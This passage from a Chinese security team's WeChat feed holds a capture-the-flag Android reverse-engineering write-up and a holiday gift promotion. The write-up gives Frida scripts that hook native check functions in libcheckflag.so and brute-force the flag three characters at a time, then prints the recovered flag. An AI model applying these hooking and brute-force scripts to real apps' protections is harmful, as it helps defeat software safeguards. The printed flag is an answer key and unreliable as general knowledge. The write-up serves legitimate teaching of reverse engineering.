src="https://wechat2rss.xlab.app/img-proxy/?k=01b1716a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7icsAFTnXPuia2DOhPaInB1p8cicEp7X48IiaM7Lh8V23Zj1CWia4xyVibZpQ%2F640%3Fwx_fmt%3Dpng"/></p><p>JNI_OnLoad <span style="font-family:宋体;">函数对</span> checkFlag<span style="font-family:宋体;">函数进行动态注册了</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="144" data-backw="578" data-ratio="0.24921875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bef56fb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ783OCQfl3bsTuaRibqxE9n6enk7dcl7s9Vsyoicw7LVo6qEx0YWWkZrNg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">主要的逻辑在于这里</span>sub_DD78<span style="font-family:宋体;">函数了</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="328" data-backw="578" data-ratio="0.56875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cf60e340&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7EpQibI7chpkuCn0ficYPT70pjticicl01XuDop2QicoRB6e8dg6miaOQwUxw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">看第一个箭头，</span>v13<span style="font-family:宋体;">代表字符串的长度，这里</span>v13 <span style="font-family:宋体;">长度需要超过</span>15<span style="font-family:宋体;">，低于</span>15<span style="font-family:宋体;">长度就直接退出了。</span></p><p> </p><p><span style="font-family:宋体;">第二个箭头处</span>Sub_DFC8<span style="font-family:宋体;">是干嘛的？跟进去</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="92" data-backw="491" data-ratio="0.18737270875763748" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="491" src="https://wechat2rss.xlab.app/img-proxy/?k=1abbfd9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7UfooOibB0FVYscWjlDSYZyCia5tSIa8Mic8GVH2TGOMKUrwoMPhn9NibLw%2F640%3Fwx_fmt%3Dpng"/></p><p>GetStringUTFChars<span style="font-family:宋体;">是将</span>java<span style="font-family:宋体;">层传入的</span>jstring<span style="font-family:宋体;">转化为</span>char*, <span style="font-family:宋体;">这里我们简单的理解就是获取用户输入的字符串的。我们知道</span>GetStringUTFChars<span style="font-family:宋体;">有三个参数，这里</span>ida<span style="font-family:宋体;">对函数优化之后，没有显示任何参数。右键选择</span>”Force call type”<span style="font-family:宋体;">，就可以看到三个参数了。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="76" data-backw="533" data-ratio="0.1425891181988743" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="533" src="https://wechat2rss.xlab.app/img-proxy/?k=a2ececa4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7icBGjOuoggTZoU8icGibkfATP7sOJcZzpUjrC8hvgEKaUm7vyzeAuBeOw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">接下来，我们只需要关注下面的三个重要的函数，经过这三个函数的运算之后，会产生一个新的值，固定值</span>&#34;bb4ME6An/z82AwX5r0FXgwJwzp3JaFgW7JtmKc4T9Q==&#34;<span style="font-family:宋体;">进行</span>strcmp<span style="font-family:宋体;">对比。相同就可以返回</span>true<span style="font-family:宋体;">了</span></p><p><span style="font-family:宋体;"><br/></span></p><p><span style="font-family: 宋体;background-color: rgb(0, 213, 255);">sub_E018 我们来看一下函数内部逻辑</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="503" data-backw="578" data-ratio="0.8701799485861182" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="778" src="https://wechat2rss.xlab.app/img-proxy/?k=e6ac37e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ76BoGQE838CAjBxDYrID26MsZP8ZzReOwpwYobDpNJe6AFPqeaLAaSQ%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-family: 宋体;background-color: rgb(0, 213, 255);">sub_E56C</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="382" data-backw="578" data-ratio="0.6611479028697572" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="906" src="https://wechat2rss.xlab.app/img-proxy/?k=91ea94b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7oWdiaiclZGFssQqWwwAib5JFfLhLicMZm2rTabbLqCst4DuHmpAicAsagMg%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-family: 宋体;background-color: rgb(0, 213, 255);">sub_E7F8 这个函数巨复杂，直接分析变得不可能且会耗费大量的时间</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="265" data-backw="578" data-ratio="0.45859375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e3fa6422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ7nK00uib2tRtibKa5KzmZSrd4eE7y5TgbzK1SIojH4apv6ZEsHAUVgibtg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">综上所述，这三个函数内部逻辑都很复杂，如果直接去逆推，需要花很长时间，这里我们采用</span>frida<span style="font-family:宋体;">工具来帮助我们快速的解题。</span></p><p> </p><p>Hook<span style="font-family:宋体;">函数实现代码</span></p><p style="text-align:left;text-autospace:none;"><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> libhm  = Process.findModuleByName(</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;libcheckflag.so&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">        </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">if</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(libhm != </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">undefined</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">        {</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">             </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> modulebase = libhm.base;</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">             console.log(</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;base:&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">+modulebase)</span><span style="font-size:13px;font-family:Consolas;">;</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">             </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> sub_E018 = modulebase.add(0xE018);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">             </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> sub_E56C = modulebase.add(0xE56C);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">             </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> sub_E7F8 = modulebase.add(0xE7F8);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">             </span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">            Interceptor.attach(sub_E018,{</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   onEnter: </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(args){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//console.log(Memory.readCString(<span style="text-decoration:underline;">args</span>[0]));</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   },</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               onLeave: </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(retval){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//console.log(&#34;<span style="text-decoration:underline;">retval</span>:&#34;+<span style="text-decoration:underline;">retval</span>);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//Memory.readUtf8String(<span style="text-decoration:underline;">retval</span>);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//retval.replace(1)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   }</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               });</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">              </span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               Interceptor.attach(sub_E56C,{</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   onEnter: </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(args){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//console.log(Memory.readCString(<span style="text-decoration:underline;">args</span>[0]));</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   },</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">              </span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               onLeave: </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(retval){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//console.log(&#34;<span style="text-decoration:underline;">retval</span>:&#34;+<span style="text-decoration:underline;">retval</span>);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//Memory.readUtf8String(<span style="text-decoration:underline;">retval</span>);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//retval.replace(1)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   }</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               });</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               Interceptor.attach(sub_E7F8,{</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   onEnter: </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(args){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//console.log(Memory.readCString(<span style="text-decoration:underline;">args</span>[0]));</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   },</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               onLeave: </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(retval){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   console.log(</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;retval:&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">+retval);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> data = Memory.readUtf8String(retval);</span></p><p style="margin-left:7px;text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               var result = </span><span style="font-size:13px;font-family:Consolas;color:black;">“bb4ME6An/z82AwX5r0FXgwJwzp3JaFgW7JtmKc4T9Q==”;</span></p><p style="margin-left:7px;text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;"> </span></p><p style="margin-left:7px;text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   var index= </span><strong><span style="font-size:13px;font-family:Consolas;color:red;">(round-1) *4;</span></strong></p><p style="margin-left:7px;text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   var result1 =result.substring(index,index+4);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">if</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(data.substring(index,index+4) == </span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">result1</span><span style="font-size:13px;font-family:Consolas;color:black;">)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   {</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               console.log(</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;[+]Found:&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">+Memory.readUtf8String(retval));</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   }</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   </span><span style="font-size:13px;font-family:Consolas;color:#3F7F5F;">//retval.replace(1)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                   }</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">               });</span></p><p><span style="font-size:13px;font-family:Consolas;color:black;">}</span></p><p><span style="font-size:13px;font-family:Consolas;color:black;"> </span></p><p style=""><span style="font-family:宋体;">Frida hook了这些关键的函数之后，我们就可以看到函数的输入参数，和输出结果。</span></p><p style=""><span style="font-family:宋体;">我们尝试输入不同的字符来看输出情况</span></p><p style=""><span style="font-family:宋体;">最终得出结论：Input输入的字符长度，除去flag{} 之外有31位时，计算出的结果才和</span></p><p style=""><span style="font-family:宋体;">bb4M E6An /z82 AwX5 r0FX gwJw zp3J aFgW7Jtm Kc4 T9Q== 一样长，这个长度是线性增加的，可以采用爆破的方法。而且每输入3个字符，对应输出结果的4个字符。</span></p><p style=""><span style="font-family:宋体;"> </span></p><p style=""><span style="font-family:宋体;">所以我们先找第一个三字符   xyz  对应  bb4M</span></p><p style=""><span style="font-family:宋体;">第二组 三字符 xyz 对应E6An ，那这里我们以第二组为例，第一组我们爆破出来为qeo</span></p><p style=""><span style="font-family:宋体;">注意上面hook函数中的var index = (round-1)*4;这里的round对应的是第几组。</span></p><p> </p><p><span style="font-family:宋体;">爆破函数实现代码</span></p><p style="text-align:left;text-autospace:none;"><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> MainActivity$1= Java.use(</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;com.ssj.hw02.MainActivity$1&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">    </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> MainActivity = Java.use(</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;com.ssj.hw02.MainActivity&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">    </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> ma = MainActivity.$new()</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">        MainActivity$1.onClick.implementation =</span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">function</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(){</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">            </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">for</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(</span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> j =0; j &lt;pool.length; j++)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                {</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">for</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(</span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> i =0; i &lt;pool.length; i++)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                    {</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">for</span></strong><span style="font-size:13px;font-family:Consolas;color:black;">(</span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> k =0; k &lt;pool.length; k++)</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       {</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       </span><strong><span style="font-size:13px;font-family:Consolas;color:#7F0055;">var</span></strong><span style="font-size:13px;font-family:Consolas;color:black;"> data = </span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;qeo&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">+pool[j]+pool[i]+pool[k]+</span><span style="font-size:13px;font-family:Consolas;color:#2A00FF;">&#34;1111111111111111111111111&#34;</span><span style="font-size:13px;font-family:Consolas;color:black;">;</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       console.log(data);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       ma.checkFlag(data);</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                       }</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                    }</span></p><p style="text-align:left;text-autospace:none;"><span style="font-size:13px;font-family:Consolas;color:black;">                }</span></p><p><span style="font-size:13px;font-family:Consolas;color:black;">        }</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="96" data-backw="578" data-ratio="0.1662921348314607" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="890" src="https://wechat2rss.xlab.app/img-proxy/?k=ac5499b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9qZYS8GU4UVXbC3NvrKUZ70JzJiaicYHrDKiaeHrXo7EGqwTrcl73QB8ODvuRsziaNCPR38pUiakNdibew%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-family:宋体;">这样就可以知道第二轮的3字符为irk</span></p><p style=""><span style="font-family:宋体;">我们再重新设置爆破函数中的变量  var data = &#34;qeoirk&#34;+pool[j]+pool[i]+pool[k]+&#34;1111111111111111111111&#34;;</span></p><p style=""><span style="font-family:宋体;">将hook函数中的round=3</span></p><p style=""><span style="font-family:宋体;">以此类推，将所有的字符全部猜解出。</span></p><p style=""><span style="font-family:宋体;"> </span></p><p style=""><span style="font-family:宋体;">qeoirklnxcvxfgiefhdweruoulksdnm</span></p><p style=""><span style="font-family:宋体;">最终提交的flag为 flag{ qeoirklnxcvxfgiefhdweruoulksdnm}</span></p><p style=""><span style="font-family:宋体;"> </span></p><p style=""><span style="font-family:宋体;">这样就可以快速的爆破出所有的字符了，省去了大量的中间逆向和逻辑细节了，帮助你快速破解此类题目。</span></p><p><br/></p>



<p><a href="2247483940">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=23ae0b2f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247483940%26idx%3D1%26sn%3D31f5121753eb3784e1d9980fdd9d3919%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 15 Dec 2020 15:35:00 +0800</pubDate>
    </item>
    <item>
      <title>礼贺中秋|银针嘉宾召集令，美酒香蜜贺中秋</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247483923&amp;idx=1&amp;sn=2890b177f7a6595ed254275140842727</link>
      <description>银针嘉宾中秋福利来袭！转发并附上你银针安全沙龙的评价，送中秋礼盒~！</description>
      <content:encoded><![CDATA[<p>
<span>小仙女</span> <span>2020-09-25 14:55</span> <span style="display: inline-block;"></span>
</p>

<p>银针嘉宾中秋福利来袭！转发并附上你银针安全沙龙的评价，送中秋礼盒~！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=10a9e75d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmX1VO7X8rHdaJLeEgFck82RIgN5pNbeSVeKoKje6oarCa0XVak3sLRxw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;">自从银针在端午送出了莫塞尔·夏乐礼盒后</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7309368191721133" data-s="300,640" style="" data-type="jpeg" data-w="918" src="https://wechat2rss.xlab.app/img-proxy/?k=e0258ddf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNibhfv3MBKZGZZiaaNqxBG9zcVGbYXBR0rXamJSiaV99qADfriazktPiaSSjMM7EzrKqpeM6VKVrB4d38Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;">小仙女算是打开了粉丝福利的大门<br/></p><p style="text-align: center;">一到过节 就想着该送点什么来答谢我们银针的忠实粉丝<br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;">不过 临近中秋我才发现</p><p style="text-align: center;">这世上最尴尬的事儿就是<br/></p><p style="text-align: center;">礼盒备好了 咋送没想好<br/></p><p style="text-align: center;">生性洒（lan）脱（duo）的小仙女 </p><p style="text-align: center;">在 中秋假期前的最后一个周五</p><p style="text-align: center;">终于鼓足勇气</p><p style="text-align: center;">非常强（xin）硬（xu）的跟老板说<br/></p><p style="text-align: center;">我觉得吧....</p><p style="text-align: center;"><span style="text-align: center;">我们这种</span><span style="text-align: center;">纯技术流的</span><span style="text-align: center;">安全团队</span></p><p style="text-align: center;">送福利风格就该简单直接</p><p style="text-align: center;">不搞那些弯弯绕绕的门槛<br/></p><p style="text-align: center;">是吧老板</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=a3796a38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXxExXXS2jaGejZkwXw4rdCdMR3CicqAe6UIzfX0cwMICOrW4MGrMibJfg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;">沉迷工作的老板听到我如此理直气壮的提议</p><p style="text-align: center;">迷茫的眼神中透着一丝惊讶<br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.9851851851851852" data-s="300,640" style="width: 405px;height: auto;" data-type="png" data-w="405" src="https://wechat2rss.xlab.app/img-proxy/?k=64ac1716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXXqLSxG6bHxNmKryaGo0It4kNgJoUkFBA5EZN08zXjrSYdf0Za7Pwjg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;">也许是我眼神中的坚毅感动了老板<br/></p><p style="text-align: center;">也许是连续的工作扰乱了他正常的思绪</p><p style="text-align: center;">他竟然觉得我的提议</p><p style="text-align: center;">貌似有那么一丝道理</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=493b4ad2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXbFQPd1a3zlyXg0c9hicwSpIr3CnprH1sGyGElgO9jFeibqtBsqbwtaibw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;">所以！</p><p style="text-align: center;">今年的中秋！</p><p style="text-align: center;">是<strong><span style="color: rgb(255, 0, 0);">只给</span></strong><span style="color: rgb(255, 0, 0);"><strong>银针嘉宾</strong></span>的 纯！福！利！</p><p style="text-align: center;">除了小仙女我的KPI，不掺杂任何其他因素<br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=fff4e65d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXO0wLLehollyh67shPjNYow6rdfniatAkoZn9UHeoleSr8PrWxRov89w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;">【<strong>参与方式</strong>】<br/></p><p style="text-align: center;"><span style="color: rgb(255, 0, 0);"><strong>银针安全沙龙南京站、成都站、松山湖站的嘉宾</strong></span></p><p style="text-align: center;">关注公众号并转发本篇文章至朋友圈</p><p style="text-align: center;">附带你对银针安全沙龙的真（wu）实（xing）感（hao）受（ping）</p><p style="text-align: center;"><strong><span style="color: rgb(255, 0, 0);">截图发送至公众号后台</span></strong> </p><p style="text-align: center;">我们将随机抽取6位嘉宾 随机送出</p><p style="text-align: center;">3份莫塞尔·秋颂礼盒 </p><p style="text-align: center;">3份莫塞尔·勇敢的心礼盒<br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.54609375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=630b0dd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXaPk0QNaSTRzsPFE49b6IYiaLlgo44DmQoddqArqgibrnDTxEzhUASF8w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6634382566585957" data-s="300,640" style="" data-type="jpeg" data-w="1239" src="https://wechat2rss.xlab.app/img-proxy/?k=8e71ed28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9RKia5u37MvaB2e6TNHgYmXJGYibGk2JyM7iaeDT7ZSAuNTsDRFOMUkKVuTIDbkG73NuAj8afkeTqHA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><strong><span style="text-align: center;">截图反馈</span><span style="text-align: 